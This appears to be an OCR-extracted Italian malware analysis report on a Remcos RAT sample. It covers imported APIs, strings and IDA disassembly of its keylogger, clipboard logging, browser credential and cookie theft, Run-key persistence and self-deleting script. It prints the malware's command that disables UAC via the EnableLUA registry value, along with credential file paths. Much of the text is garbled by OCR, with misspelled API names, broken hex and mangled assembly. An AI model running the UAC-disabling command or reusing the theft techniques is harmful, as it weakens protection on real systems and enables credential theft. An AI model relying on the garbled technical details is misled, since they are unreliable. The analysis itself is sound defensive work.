0006b1b8 0000000e WallpaperStyle
0006b1c8 00000015 Control Panel\Desktop
0006b1eD 0000000 TileWalloaper

Qui evidenze al certificato utilizzato nei contesti di remote administration, chiave privata RSA,
chiave pubbilica, chiave privata criptata:
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D Strings

Filter

Offset ~
0006b554
0006b59¢
0006b5ac
0006b5be
0006b5cc

1209 0006b5e8
1210 0006b604
1211 0006b624
0006b640
0006b65¢
D00EbET4
0006b694
0006b6bd
0006b6d0
0006bGec
00060714
00060738
00060758
0006b778
00060798
0006b7b8
0006b7d4
0006b7f0

B Anst

Size
00000017
0000000
0000000
00000005
0000001 b
00000019
0000001d
0000001 b
00000018
00000016

01f
0000001d
0000001 b

00000019
00000025
00000023
0000007
0000001 ¢

0000001f
0000001d

00000012
00000018
00000059

* [Ourre M unic M cstrings 5 %

String
TLS13-AES128-GCM-SHAZ56
/serialNumber=
JemailAddress=
JUID=

END X509 CRL
BEGIN R5A PRIVATE KEY
END RSA PRIVATE KEY-
BEGIN PRIVATE KEY-
END PRIVATE KEY
BEGIN ENCRYPTED PRIVATE KEY:
END ENCRYPTED PRIVATE KEY
BEGIN EC PRIVATE KEY-
END EC PRIVATE KEY-
GIN DSA PRIVATE KEY
END DSA PRIVATE KEY--

0123456789ABCDEFGHIKLMNOPORSTUVWXYZ

La sezione del PE .text, la quale contiene istruzioni eseguibili dalla CPU, risulta essere in uno

stato di packed con un coefficiente d’entropia che si aggira intorno a 6.62553:
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D& Entropy

Offset
00000000

Size Entropy Status
00000400 3.15062 not packed
00057200 6.62553 packed
00017200 5.85937 not packed
0000000 3.00620 not packed
00000200 0.02321 not packed
00000400 5048 not packed
0000400 .98894 not packed
0000300 6.71863 packed

00000000
00000400
00057600
(D0DGFODD
0006FeDD
00070000
00070400
00075000

PE Header
Section(0)[".text']

property

md3

shal

sha236
first-bytes-hex
first-bytes-text

dos-stub (200 bytes)
----- = rich-header (13}
..... > file-header (time-stamp)

----- > optional-header (GUI) file-size
----- H directories (time-stamp) entropy
----- > sections (file) imphash
| libraries (12) signature
| functions (307) * entry-point
> file-version
description
= file-type
54 resources (unknown) * cpu
bc strings (4980) subsystem

fpt debug (time-stamp)

..... g

compiler-stamp
debugger-stamp
resources-stamp

import-stamp

exports-stamp
version-stamp

certificate-stamp
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value

BAAEBTAC41183F12A102026%03FADABT

DEFTRADB2A3A236AEFD5080BA0FSAEBDAII0ETAS
OAE5520EFE350023B55DDASEEBF2DCAIORFIBTAIFTAFT1706F6105DESEE2S00B

4D 5490 00 03 00 00 00 04 00 00 00 FF FF 00 00 BS 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00
494592 (bytes)

6.600

Microsoft Visual C++ 8
E2 77 04 00 00 E9 8E FE FF FF 55 8B EC 81 EC 2403 0000 53 56 64 17 E2 EF 2602 00 85 CO 74 05 8B

executable

32-bit

GuUl

065631255 (Sun Nov 26 01

065631255 (Sun Nov 26 01:38:33
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Tra le informazioni degne di nota vi & il dominio di geolocalizzazione geoplugin[.]net,
network connectivities, services management, hooking, remote administration, WMI queries
executions, keylogging, Base64 encoding:

indicator (60) detail level

-

The file references string(s) type: blacklist, count: 121
type: blacklist, count: 101

url: hitp://gecplugin.net/jsen.gp

The file imports symbol(s)

The file references a URL pattern
The time-stamp of the compiler is suspicious  year: 2023

The time-stamp of a directory is suspicious directory: debug, stamp: Sun Mov 26 01:38:33 2023

The file contains another file signature: unknown, location: rsre, offset: 0x0D0749CC, size: ..,
The file references blacklist library(ies) count: 3

The file impeorts ancnymous function(s) count: 17

The file checksum is invalid

The file references a group of API
The file references a group of API
The file references a group of API
The file references a group of API
The file references a group of API
The file references a group of API
The file references a group of API
The file references a group of API
The file references a group of API
The file references a group of API
The file references a group of API
The file references a group of API
The file references a group of API
The file references a group of API
The file references a group of API
The file references a group of API
The file references a group of API
The file references a group of API
The file references a group of API
The file references a group of API
The file references a group of API
The file references a group of API
The file references a group of API

checksum: (00000000

type: synchronization, count: 44
type: execution, count: 96
type: file, count: 74

type: reckoning, count: 38
type: windowing, count: 34
type: cryptography, count: &
type: memory, count: 34

type: dynamic-library, count: 20
type: registry, count: 34

type: network, count: 26

type: power, count: 4

type: security, count: 13

type: input-cutput, count: 14
type: conscle, count: 22

type: services, count: 28

type: data-exchange, count: 21
type: storage, count: 14

type: diagnostic, count: &
type: resource, count: 13

type: hooking, count: 8

type: administration, count: 3
type: desktop, count: 3

type: exception, count: @

[T R VT R VY L R R T R VT R VT VX I UL I T U R PR R FE R P R R VU R WE ST SR VX B UE R WU I VR I PR T S A I R R O Y

indicator (60) detail level
The file references a group of API type: hooking, count: 8 3
The file references a group of API type: administration, count: 3 3
The file references a group of API type: desktop, count: 3 3
The file references a group of API type: exception, count: 9 3
The file references a greup of hint type: basefd, count: 5 3
The file references a group of hint type: format-string, count: 12 3
The file references a group of hint type: utility, count: 16 3
The file references a greup of hint type: registry, count: 10 3
The file references a group of hint type: file, count: 34 3
The file references a group of hint type: keyboard, count: 28 3
The file references a greup of hint type: password, count: 1 3
The file references a group of hint type: size, count: 7 3
The file references a group of hint type: function, count: 176 3
The file references a greup of hint type: privilege, count: 1 3
The file references a group of hint type: rtti, count: 23 3
The file references a group of hint type: wimi, count: 1 3
The file references a greup of hint type: guid, count: 1 3
The file references a group of hint type: url-pattern, count: 1 3

www.swascan.com | info@swascan.com




Swascan

TINEXTAGROUP

property value detail
compiler-stamp Sun Nov 26 01
size-of-optional-header 224 bytes
signature PEQD

machine Intel

sections 7

pointer-symbol-table

number-of-symbols

processor-32bit true
system-image

executable true
dynamic-link-library

debug-stripped

line-stripped-from-file

lecal-symbels-stripped-from-file

relocation-stripped

large-address-aware

uniprocessor

bytes-of-machine-words-reversed-Low
bytes-of-machine-words-reversed-Hi

media-run-frem-swap

network-run-from-swap

Tra le funzioni e metodi di interesse abbiamo evidenza di FindNextFileA (per contesti di files
gathering), GetNativeSysteminfo, QueryPerformanceFrequency (per effettuare environment
awareness).
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functions (307) blacklist (101) type (1) ordinal (17) library (12)
FindMextFiled
CreateToolhelp32Snapshot
Process32MNextW
Process32FirstW
VirtualProtect
GetMativeSysterninfo
OpenProcess
GetCurrentProcessld
GetTernpFileMameW
UnmapViewOfFile
MapViewOfFile
WriteProcessMemory
GetThreadContext

ReadProcessMemory

=

CreateProcessW
SetThreadContext
ueryDosDeviceW

EindFirstVolumeW
GetConsoleScreenBufferinfo

FindVolumeClose

GetVolumePathMamesForVol...

EindFirstFiled
FindMextVolumeW
QueryPerformancefrequency
SetEnvironmentVariableW
SetEnvironmentVariabled
GetEnvironmentStringsW

EindFirstFileExA

GetTimeZonelnformation

GetModuleHandleEx\W
MoveFileExW
RaiseException

®oX oM oM ox¥M XM oX X oM oM XM oxX X X M ¥ ¥ 3 X X ¥ ¥ ¥ 3 X ¥ ¥ ¥ x x x

Abbiamo, inoltre, contezza delle funzioni RemoveDirectoryW (per |'eliminazione di folders),
MoveFileW (rinomina files), GetLogicalDriveStringsA (ottenimento dei dischi di sistema),
eliminazione di files, impostazione degli attributi di files, numerosi hooking ed event handlers
di clipboards, mouse events e parametri di sistema.
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TerminateThread
RemowveDirecton/W
MoveFileW
GetlogicalDriveStringsf
DeleteFileW

DeleteFiled
SetFileAttributesW
FindMextFileW
FindFirstFileW
CreateProcessA
TerminateProcess
WriteFile
GetCurrentThread|d
GetClipboardData
UnhookWindowsHookEx
GetForegroundWindow
SetWindowsHookExh
CloseClipboard

Opentlipboard
GetKeyboardState
CallNextHookEx
GetKeyState
GetWindowThreadProcessld
SetClipboardData

A

EnumWindows

ExitWind owsEx
EmptyClipboard

Sendlnput
mouse event

oM oM oE oM oM oX oM OX oHOX MO oM oM X oM X oH X oH X K X oH X X X X X

SystemParametersinfolW
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Qui il richiamo di funzioni di cifratura (ad esempio CryptAcquireContexA, CryptGenRandom
dalla libreria advapi32.dll), cambio di configurazione di servizi (ChangeServiceConfigW),
registry keys modifying.

CryptAcquireContexth
CryptGenRandom
CryptReleaseContext
ControlService
ChangeServiceConfigW
AdjustTokenPrivileges
LookupPrivilegeValued
OpenProcessToken
RegCreatekeyh
RegSetValueExW
RegSetValueExA
RegCreatekeyW
RegDeleteValueW
RegDeletekeyA
ShellExecuteExA

ShellExecutelW

HoX oM oM oxX MoK X oM oK oM oM oM oM oM oM oM oM oMM X oM oM X oM oM MM X X

52 (gethostbyvalue X ws2_32.dll
19 (send X ws2_32.dll
115 (W5SAStartup X ws2_32.dll
3 (closesocket X ws2_32.dll
12 (inet ntoa x ws2_32.dll
X ws2_32.dll
x ws2_32.dll
x ws2_32.dll
x ws2_32.dll
36 (getservbyport X ws2_32.dll
51 (gethostbyaddr X ws2_32.dll
11 {inet addr X ws2_32.dll
112 (WSASetl astError X ws2_32.dll
x

111 (WSAGetLastError) ws2_32.dI

[l threat fa uso della libreria wininetdll per scaricare files da servers remoti
(URLDownloadToFileW):

16 (recy’ X x ws2_32.dll
4 (connect x X ws2_32.dll
23 (socket x X ws2_32.dll
URLOpenBlockingStreamW X urlmon.dil
URLDownloadToFileW X urlmon.dil
InternetOpenUrlW X wininet.dll
InternetOpeniy X wininet.dll
InternetCloseHandle x wininet.dll
InternetReadFile x wininet.dll
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A seguire un'evidenza di script dropping mediante un oggetto WScript per I'eliminazione dello
script Wscript.ScriptFullName:

hint (304) value (4520)

CreateQObject("WScript.Shell").Run "cmd fc "
CreateQbject("Scripting.FileSystern Object”). DeleteFile(Wscript. ScriptFullMame]
Elevation:Administratorinew:

crd.exe

time

pause audio

resurmne audio

stop audio

Control Panel\Desktop

open

explorer.exe

Set fso = CreateObject("Scripting.FileSystemObject”)\r\nOn Error Resume Mesxthr

svchost.exe

fsutil.exe

cmd.exe

open”

program files,

program files (x86)

http://geoplugin.net/json.gp

FFFFFFFFO0000001 000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
FEFFFFFFOO000001 000000000000000000000000F FFFFFFFFFFFFFFFFFEFFFFC
3ACE3ISDEAAINAGIETBIEBBDS5769286BCR51D06B0CCS3B0FEIBCEICIEITD2G0IE
FEFFFFFFOO000000FFFFFFFFFFFFFFFFECESFAADATI TOEAAFIBOCACIFCA32551
BB1701 F2E12C424TFABCERE S63AAA0F2 770370812 DEB3IIAOFAA1 304508980200
AFE342E2FE1ATFIBREETEBAATCOFIET162BCEI3576B315ECECBBB406837BFS1FS

type info@@

JAVbad alloc@std@@

JAVbad array new length@std@@

J8Vlogic error@std @@

JAVlength error@std@ @

Qui il riferimento ad alcune chiavi di registro utilizzabili per malicious persistence e la funzione
SeShutdownPrivilege (la quale permette di ottenere i permessi di esecuzione per spegnere un
local system)

HKLM
HKCU
HKCR
KC

Software\Microsoft\Windows\ CurrentVersion\Uninstall

T
I

Software\Microsoft\ Windows\CurrentVersion Run',

Software\Microsoft\Windows\ CurrentVersion\Policies\ Exploreri Run',
SeShutdownPrivilege
Adrministrator

Space
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Si noti la presenza di riferimenti a keystrokes ed eventi di keys handling, come ad esempio Alt,
F1, F11. Tale caratteristica e relativa al modulo keylogger presente all'interno della minaccia.

hint (304)

EEE_
~ =
I H
m i
Ly
(==}
=

i
kY

EEEEFEEEE

=
B I = (M =l (WS [ S ) ey 8y
M
=
(=

n |
=T [=]

n |7 (M
—_ |= (=
(R e

—+
=9
T

{3ESFCTFI-9A51-4367-9063-A120244FBECT}
WriteFile

ExitThread

CloseHandle

WaitForSingleObject
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Le funzioni GetClipboardData e SetClipboardData vengono impiegate al fine di esercitare
un’attivita malevola di clipboard logging e modifiche al contenuto della stessa.

blacklist (121} hint (304) value (4380)
x GetClipboardData
x UnhookWindowsHookEx
X GetForegroundWindow

ToUnicodeEx
GetKeyboardLayout
CloseClipboard

OpenClipboard
GetKeyboardState

CallMextHookEx
GetKeyState
GetWindowThreadProcessld

SetForegroundWindow

[ lfunction | SetClipboardData
x

EnumWindows

X X X oxM ® X

®

ExitWindowsEx
x EmptyClipboard
ShowWindow
IsWindowVisible

CloseWindow

x Sendlnput
x mouse event
Drawlcon

GetSystemPetrics
Getlconlnfo
GetCursorPos
TrackPopuphMenu
CreatePopuphenu

DeleteObject
DeleteDC

GetDIBits
StretchBIt
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Le funzioni CryptReleaseContext e CryptGenRandom possono essere relative agli oggetti di
encryption contexts creati per la fase di cifratura di files:

blacklist (121)  hint (304) value (4980)
CreateCompatibleBitmap
RegClosekey

e OpenProcessToken
AdjustTokenPrivileges
X ControlService

CloseServiceHandle

CueryServiceStatus

“ CoyptReleaseContext

Cry thr:nF‘ancIcm
Colninitialize

ColnitializeEx

CoGetObject
wavelnAddBuffer
wavelnStart

wavelnOpen
wavelnUnprepareHeader
wavelnPrepareHeader
wavelnStop

wavelnClose

Gdipl cadlmageFromStream
GdipSavelmageToStream
GdipGetlimageEncodersSize
GdipFree
GdipDisposelmage
GdipAlloc

GdipClonelmage

GdipGetlmageEncoders

GdiplusStartup

X InternetCloseHandle
X InternetReadFile
ResetEvent
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Di seqguito ulteriori indicatori estraibili dagli attributi statici della minaccia, come ad esempio
I'esecuzione di un comando reg add inerente alla chiave di registro
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies con il fine di modificare le
settings di security di sistema ed effettuare protection bypasses. Vi sono poi dettagli relativi a
strutture di timestamps, la chiave di cifratura dei logins salvati nel browser Firefox (key3.db),
databases dei cookies ed un riferimento al dominio BreakingSecurity[.]net, relativo difatti a
Remcos RAT e distribuzione di pacchetti di codice sorgente:

blacklist (121}  wvalue (4930)
GetFileType
FlushFileBuffers
GetConsoleCP
GetConsoleMode
IsValidCodePage
GetOEMCP
SetStdHandle
HeapSize
SetEndOfFile
36Y-%6m-%d %H. %M

[k Fawindir3a\System32ireg.exe ADD HELMASOFTWARE\Microsoft\Windows'\ CurrentVersion' Polici...

oINS

B0 B0 2 B0 B0 T
26020 2602i: %021 3603

«OL 0250 BE0 5
by~ LA - 103

dale | Felle | Sl

; L e e T e A e A e
time %604i2:02i%6021 3602i%602i%02i

CAWindow: stemn 32\ cmd.exe

‘key3.db
‘wcookies.sglite
license codetbd
Shlwapi.dll
PowrProf.dil
User32.dil

alarm.wav
BreakingSecurity.net
KERMEL32.dll
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e BreakingSecurity.net
https://breakingsecurity.net - Traduci questa pagina :
BreakingSecurity.net | Knowledge is Power

We are developers of several CyberSecurity software, aiming for high quality and customer
satisfaction. Technologies we develop range from System Security to ...

Remcos Remote Control
BreakingSecurity.net - Home - Shop - Products - CyberGuard ...

Source Codes
C++ | RC4 class. Standard RC4 encryption algorithm. Simple ...

Casa
La societa CyberSecurity si & concentrata sullo sviluppo di ...

Shop
1 Computer « 1 Year « Updates - Videotutorials « Support 365 ...

Vi e un'operazione di parsing e lettura di dati contenuti nelle informazioni trafugate, come ad
esempio gli attributi emailAddress e serialNumber:
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blacklist (121)  wvalue (4920)
ntdil.dll

‘explorer.exe

[ |\cookiessalite

hwhbs

‘update.vbs
ieinstal.exe

ielowutil.exe
rmclient.exe
LEXE
‘eysinfo.bd

This program cannot be run in DOS mode.

IDjDCEWS=

Tglif|X==
1456780 <=
[serialNumber=
femailAddress=
f5-3

A seguire un dettaglio della funzione di decifratura CryptUnprotectData, la chiave viene
derivata ed utilizzata per un processo di decrittografia dell'oggetto BLOB:
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blacklist (121)
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value (4980)

GetFrame

FreeFrame

Failed to initialize TLS

Failed to initialize TLS context
Failed to load TLS certificate
Failed to load TLS key

Failed to load peer certificate

TLS Handshake...
TLS Error 1

TLS Error 2
TLS Authentication Failed
TLS Error 3

Connection Failed:

KeepAlive | Enabled | Timeout:

KeepAlive | Disabled

Connection Timeout
Displayhessage
GethMessage
CloseChat
SystemnDrive

illul

encrypted key":"
CryptlnprotectData
crypt3d
CurrentBuildMurmber

EtlinitUnicodeString
MtAllocateVirtualMemory

MtFreeVirtualMemory

RtlAcquirePeblock
RtiReleasePeblock
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Viene bypassata la protezione UAC (User Access Control), troviamo stringhe di logging relative
al modulo di online keylogger:

blacklist (121} value (4980)

[+1 ucmAllocateElevated Object

+] CoGetObject

+] CoGetObject SUCCESS
[-1 CoGetObject FAILURE

IE] ucmiMLualtilshellExecMethod
+] before ShellExec

+] ShellExec success

ZipFiles

UnzipFiles

Browsing directory:

Executing file:

Downloading file:
Downloaded file:

Failed to download file:

Deleted file:
Unable to delete:

Unable to rename file!

Uploaded file:
Failed to upload file:

Uploading file to Controller:
SetFilePointerEx error

ReadFile error

ockmode

Offline Keylogger Started
Eeylogger initialization failure: error
minutes i

{ User has been idle for

'w Online Keylogger Started
Online Keylogger Stopped

Offline Kevleaoer Stopped
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A seguire alcuni dettagli di placeholders della clipboard (contestualmente a eventi specifici,
come ad esempio contenuto della clipboard cambiato), numerosi riferimenti a cookies, logins
e profili di Chrome e Firefox.

blacklist (121)  walue (4980)

[Ctril]

[CtrlR]

End of clipboard]irin

Text copied to clipboard]\rin
‘AppDatail ocal\Google\ChromeiUser Datat\Default\l ogin Data
UserProfile

[Chrome Storedlegins not found]

Chrome StoredlLogins found, cleared!
‘AppDatail ocal\Google\ChromeiUser Datat\Default\ Cookies

Chrome Cookies not found

[Chrome Cockies found, cleared!]

“AppData\Roaming\Mozilla\Firef ox\Profiles\

[Firefox Storedlogins not found]

‘loeginsjson
[Firefox Storedlogins Cleared!]

[Firefox Cookies not found]

[Firefox cookies found, cleared!]

Cookies
IE cookies not found
IE cookies cleared!

[Cleared browsers logins and cookies.]

Cleared browsers logins and cockies.

FunFunc

exepath

bad cast
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blacklist (121)  value (4380)

‘\MozillahFiref ox Profilesh

UserProfile

\AppDatail ocal\GooglehChromel,

‘WAppData\l ocal\Microsoft\Edgeh,
\Opera Software’,Opera Stablel

User Data'Defaultt Metwork\ Cookies
User Data'\Profile MMetwork\ Cookies
MNetwork\ Cookies

User Data'Local State

Local State

Temp

fso.DeleteFile "

wendirnfzo.DeleteFolder

fso.DeleteFile(Wscript. ScriptFullMame

iy
LU

Systermn Drive

\system32

\SysWOWE

ProgrampFiles

ProgramData

C\Program Files(x861\Internet Explorer

pth unenc
\n

v

All'interno della sezione .text notiamo un dettaglio inerente alla funzione di debugging
checking IsDebuggerPresent, al fine di verificare eventuali contesti di analisi dinamica e
debugging:
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Visualizzando le risorse dell'eseguibile notiamo icone e la presenza di 7 sezioni:

[& RemcosRAT1.exe
DOS Header
DOS stub
v [* NT Headers
Signature
File Header
Optional Header
Section Headers
~ Sections
v B et
=P EP = 33DEF
.rdata
.data
Als
gfids

rsrc

.reloc

RemcosRAT1.exe

i 28 N
-
01 2 3 4 5 66 7 8 8 ABCDETF] 0123456789 ABCD
33DEF E& 77 04 00 00 ES 8E FF FF 55 8B EC 81 EC 24
33DEF 03 00 00 53 5¢€ €A 17 EF 2€ 02 00 85 CO 74 05
33E0F 8B 4D 08 CD 2% 33 Fé 8D 85 DC FC FF FF €8 CC 02
33EL1F 00 00 5€ 50 85 35 14 1D 47 00 E8 €2 24 00 00 23
33E2F C4 0C 8% 85 8C FD FF FF 89 8D 88 FD FF FF 8% S5
33E3F 84 FD FF FF 25 5D 80 FD FF FF 85 BS 7C FD FF FF
33E4F 8% BD 78 FD FF FF €& 8C 95 A4 FD FF FF €€ 3C 2D
33E5F %8 FD FF FF €€ 8C 3D 74 FD FF FF €€ 8C 85 70 FD
Disasm: .text General DOS Hdr Rich Hdr File Hdr Opticnal Hdr Section Hdrs Imports.

RemcosRATT exe

Hex

Disasm

Hint
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RemcosRAT1.exe

| Member Offset Size Value Meaning
Machine 0000010C Word 014C Intel 386
MumberOfSections | 0000010E Word 0007
TirneDateStarmp 00000110 Dword 65631255
PointerToSymbolTa... | 00000114 Dwnrﬁk 00000000
NumberOfSymbols | 00000118 Dwnré/@ 00000000
SizeOfOptionalHea... | 0000011C Word DOED
Characteristics 00D0011E Word 0102 Click here

Effettuando una sessione di debugging e dynamic analysis possiamo avere contezza del
bypass del modulo UAC mediante il seguente comando reg add inerente all'opzione
EnableLUA:

EFuncﬁuns 0 & x ‘ IDAV\EW-AD 1 E Strings I @Hexviaw—l I @Structures 1 @ Enums I E’EI Imports 1 E_;’H E
Ted EaK, [EOPFSCETTUpINTO]
Function name i‘ push eax 3 lpStartupInfo
push  edi ; 1pCurrentDirectory
sub_401000 push edi 5 lpEnvircnment
sub_401016 push B8000000h ; dwCreationFlags
sub_40102C push edi ; bInheritHandles
sub_401042 push edi ; lpThreadattributes
sub_401050 push edi ; lpProcessAttributes
sub_401052 push  offset CommandLine ; ' rE\\S ||
SU:: :313;3 push offset ApplicationName ;
sul
- ; const CHAR CommandLine[]
sub_401046 o -
b 40i0pe  CommandLine db '/k %windir¥%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\
sub_4010D4
. db 'CurrentVersion\Policies\System /v EnablelUA /t REG_DWORD /d @ /f',8
sub_4010EC posT reopeTe e
su:,giiﬂl; call esi ; CloseHandle
sul i
. pop edi
sub_401130 < pop esi
| B
4 » mov esp, ebp
pop ebp
retn
sub_487755 end
,jfh Graph overview O & x ‘ - i
100.00% [(-103, 454) [(532,121) [D000€BSL [0000000000407751: sub_407755+3C | (Synchronized with Hex View-1)

Notiamo dettagli riconducibili ad operazioni di compressione e decompressione, nonche
download di files esterni:
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db ‘elev',® | ]
align 8

He 78 ; const CHAR CommandLine[ ]

188466478 CommandLine db '/k ¥windir¥\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\'

db 'CurrentVersion\Policies\System /v EnablelUA /t REG_DWORD /d @ /f',@
align 4

riid dd GEDDED74h ; Datal

dw @ceazh
dw 4E75h ; 3

db @B7h, &&h, BESh, 74h, 9, 95h, @E2h, 4Ch; Datad
unk_466528 db  2Eh ;

db @
db @
db @

o mm @
[

aPart:

text "UTF-16
aZipfiles db 'ZipFiles',@
align 4
1 aUnzipfiles db "UnzipFiles',®

a
000€4A782 |00000000004€€478: _rdata:CommandLine |{Synchronized with Hex View-1) B

g [

F align 1eh
unk_466558 db 8
db @
db @
db @
1 aBrowsingDirect db 'Browsing directory: ',@
align 4
aExecutingFile db 'Executing file: ',8
align 18h

aDownloadingFil db 'Downloading file: ',@

align 4
aDownloadedFile db ‘Downloaded file: ',8

align 4

aFailedToDownlo db 'Failed to download file: ',8
align 4

aDeletedFile db ‘Deleted file: ',@
align 4

aUnableToDelete db "Unable to delete: ',8

align 4
asc_4665E8 db "*',8
000000000046€6552: .rdata:004€6552 |(Synchronized with Hex View-1)

All'interno della funzione sub_40A179 abbiamo contezza della stringa di logging di avvio
dell'offline keylogger e la contestuale creazione dei threads specifici:
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call sub_48B8EC
cmp dword ptr [esi+4Ch], 2
mowv edi, offset aOfflineKeylogg ; "Offline Keylogger Started"
jz short loc_48A1CA
A
il et =
push edi
lea ecx, [esp+2Ch+var_18]
call sub_ 482893
sub esp, 18h
lea edx, [esp+idh+var_18]
mov ecx, esp
call sub_41BCSE
mow ecx, esi
call sub_48B164
lea ecx, [esp+28h+var_13]
call sub_4@1FD3

I

il e =

loc_4BA1CA:
sub esp, 18h
mov ecx, esp
push edi

100.00% | {-87,348) |(783,312) |0000S55B |000000000040A19B: sub 40R175+22 |(Synchronized with Hex View-1)

push offset hThread ; lpStartAddress
push ebx ; dwStackSize
push ebx ; lpThreadAttributes
call edi ; CreateThread
cmp [esi], ebx
jnz short loc_4@A218

Y
push ebx ; lpThreadId
push ebx ; dwCreationFlags
push esi ; lpParameter
push offset sub_48A267 ; lpStartAddress
push ebx ; dwStackSize
push ebx ; lpThreadAttributes
call edi ; CreateThread

‘9

; lpThreadId

push ehx

push ebx ; dwCreationFlags
push esi ; lpParameter
push offset sub_48A289 ; lpStartAddress
push ebx ; dwstackSize

100.00% | {-75,940) |(747,407) (00005558 |000000000040815B: sub 40R175+22 | (Synchronized with Hex WView-1)
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A seguire un'operazione di switch per i keystrokes e le combinazioni di tasti registrati dal
modulo keylogger, nonche le correlate istruzioni di jump.

A J h i A J
FIEE]
sub esp, 13h
loc_48B2D5: mov ecx, esp
[alt]"| [sub esp, 18h sub esp, 18h push offset aSpace ; "[Space]”
mov ecx, esp mowv ecx, esp Jmp loc_4@B4BS
push offset aPause ; "[Pause]”| |push offset aEsc "[Es
Jmp loc_48B468 jmp loc_4@B4B3 |
l...._._.._._._.._._._.._._._._.._._._.._._L:::::::::::::::::::::::::::::::::::::::::::::::::::::

100.00% |(1438,37€) |(€27,417) |0000AECE [000000000040B2CEB: sub_40B2Z1+AR | (Synchronized with Hex View-1)

T

sub_48B221 proc near

push esi

mov esi, ecx

mov eax, [esi+54h]
cmp eax, 20h ; '-'

ja loc_48B38D

100.00% |(5822,-28) |(524,411) |0000AECE [000000000040B2CB: sub 40B221+AR |(Synchronized with Hex View-1)
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loc_4@B4B3:
call sub_482893
mov ecx, esi

sub_48A611

loc_48B4C4:

Xor eax, eax
inc eax

pop esi

retn

sub_ 488221 endp

100.00% | (4502,1280) |{(€47,405) |0000RECE [000000000040B2CB: sub 40B221+AL | (Synchronized with Hex View-1)

All'interno della funzione sub_40BD37 notiamo la presenza di accesso al database di
cookies.sqlite e la sua consequenziale eliminazione mediante la funzione DeletefileA.
Successivamente viene scritta una stringa di logging che denota I'avvenuta eliminazione del

database.
A J
FZE
lea eax, [ebp+FindFileData.cFileName]
push offset aCookiesSqlite ; "\\cookies.sglite
push eax
lea edx, [ebptvar_ 18]
lea ecx, [ebptvar 78]
call sub_486C1E
pop ecx
mov edx, eax
lea ecx, [ebptvar 48]
call sub_486383
pop ecx
push eax
lea ecx, [ebptvar_3@]
call sub_4@81FE2
lea ecx, [ebptvar 48]
call sub_4@81FD3
lea ecx, [ebptvar 78]
call sub_4@81FD3
lea ecx, [ebptvar_3@]
call sub_4@81FAB
push eax ; lpFileName
call ds:DeleteFileA
test eax, eax
jnz short loc_4@BEDA
100.00% |{53€,1545) |(753,40&) [0000B22C |000000000040BE2C: sub 40BD37+4FS |(Synchronized with Hex View-1)
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[l i =

loc_4@BEDA:

sub esp, 18h sub eax, 1

mov ecx, esp short loc_ 48BE!
es not found]"} [push offset aFirefoxCookies_@ ; "‘\n[Fi nd 1

Jjmp loc_4@8BDDY

sub_48BD37 endp

h J
sub esp, 18h
loc_48BDD9: mov ecx, esp
call sub_482093 push offset aFirefoxCookies ; "‘\n[Firefox
call sub_48C1D8 call sub_482893
add esp, 18h call sub_48C108
jmp loc_4@BEBS add esp, 18h
push esi ; hfindFile
call ds:FindClose
J .
Yy L]
FEE] i
loc_4BBEBS: loc_ 4@BECF: ; hFindFile
mov bl, 1 push esi

100.00% |{245,1980) | (720,415} [0000B22C |000000000040BE2C: sub 40BD37+4F5S | (Synchronized with Hex View-1)

Qui un dettaglio dell’accesso avvenuto con diritti di Administator:

sub eax, 1
jnz short loc_48F2CC
A i A
FEIE FIZIE
push offset aAdministrator ; "Ads 5 r
jmp short loc_4@F293 loc_4@F28E:
push offset alser r
| |
vy

[l s 5= .

loc_48F293:

lea ecx, [esp+3lCh+var_384]

call sub_482893

sub esp, 18h

mov edx, offset aAccessLevel ; "Ac el

mov ecx, esp

push eax

call sub_4852FD

sub esp, 14h

mow ecx, esp

push offset al ; Ui
call sub_482893

11 -

00.00% | (5594,123521) ,411) (D000EESF (000000000040F25F: sub_ 40ESCS+E8DA | {Synchronized with Hex View-1)

www.swascan.com | info@swascan.com




Swascan

TINEXTAGROUP

loc_4@F2CC:
mov edi, offset unk_4752F@
push offset aDel @ ; "del
mov ecx, edi
call sub_481FAB
mov edx, eax
call sub_4134FF
pop ecx
test al, al
jz loc_48F3AS
A J
PIEIE]
push offset ValueName ; “del
mowv edx, edi
lea ecx, [esp+3lCh+var_384]
call sub_41BCSE
mov ecx, eax
call sub_481F84
push eax
mowv edx, Seee8081h
lea ecx, [esp+328h+var 2E8]
call sub_41361B
pop ecx
pop ecx
lea ecx, [esp+3l8h+var 3847

100.00% |{€28,14505) [(745,393) |0000EESF |000000000040F25F: sub_ 40ESCS+8DA | (Synchronized with Hex Wiew-1)

align 4
t aUserprofile db ‘'UserProfile’,®

lrdata:a@4669ca aChromeStoredlo db @ah
~data:0e db ‘'[Chrome StoredlLogins not found]',@
align 4
aChromeStoredlo_@ db @ah
db ‘'[Chrome StoredlLogins found, cleared!]’,®@
align 4
aAppdatalocalGo_@ db '‘“AppData‘\local\Google\Chrome\User Data‘\Default\Cookies',@

align 4
t aChromeCockiesN db @4h
: db ‘[Chrome Cockies not found]',@
aChromeCockiesF db @ah
db ‘'[Chrome Cockies found, cleared!]’,®
align 4

1 afppdataRoaming db ‘‘AppData‘\Roaming\}

zilla‘\Firefox\Profiles\',@

align 1@h
aFirefoxStoredl db @sh
. db '[Firefox StoredlLogins not found]',®
.rdata: align 4
1 asc_466AD4 db '.',8

.rdata:é

000&4FCO |00 0004€€5C0: _rdata:aChromeStoredlo |(Synchronized with Hex View-1)
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var_3@= byte ptr -3@h
var_18= byte ptr -18h

push ebp
mov ebp, esp
sub esp, 34h
push ebx

push offset afppdatalocalGo @ ;
push offset aUserprofile ; "U
call sub_43CEDA

pop ecx
push eax

lea ecx, [ebpt+var_3@]

call sub_4@82893

mov edx, eax

lea ecx, [ebp+var_18]

call sub_486383

pop ecx

lea ecx, [ebp+var_308]

call sub_4@81FD3

lea ecx, [ebp+var_18]

call sub_4@81FAB

push eax 3 lpFileName
call ds:DeleteFileA

test eax, eax

jnz short loc_4@BB@3

100.00% [{153,105) |(7287,3593) |D000REAS |[000000000040BRAAS: sub 40BAR1+7 |(Synchronized with Hex View-1)
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RumpeDLL

A bordo del server 45.XX.XX.XX e stata ospitata all'interno della folder “rat” anche la DLL di
esecuzione RumpeDLL (ora rinominata vrump.txt). Essa e salvata codificata in Base64 in forma
testuale.
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Input + 0O=2 1§ =

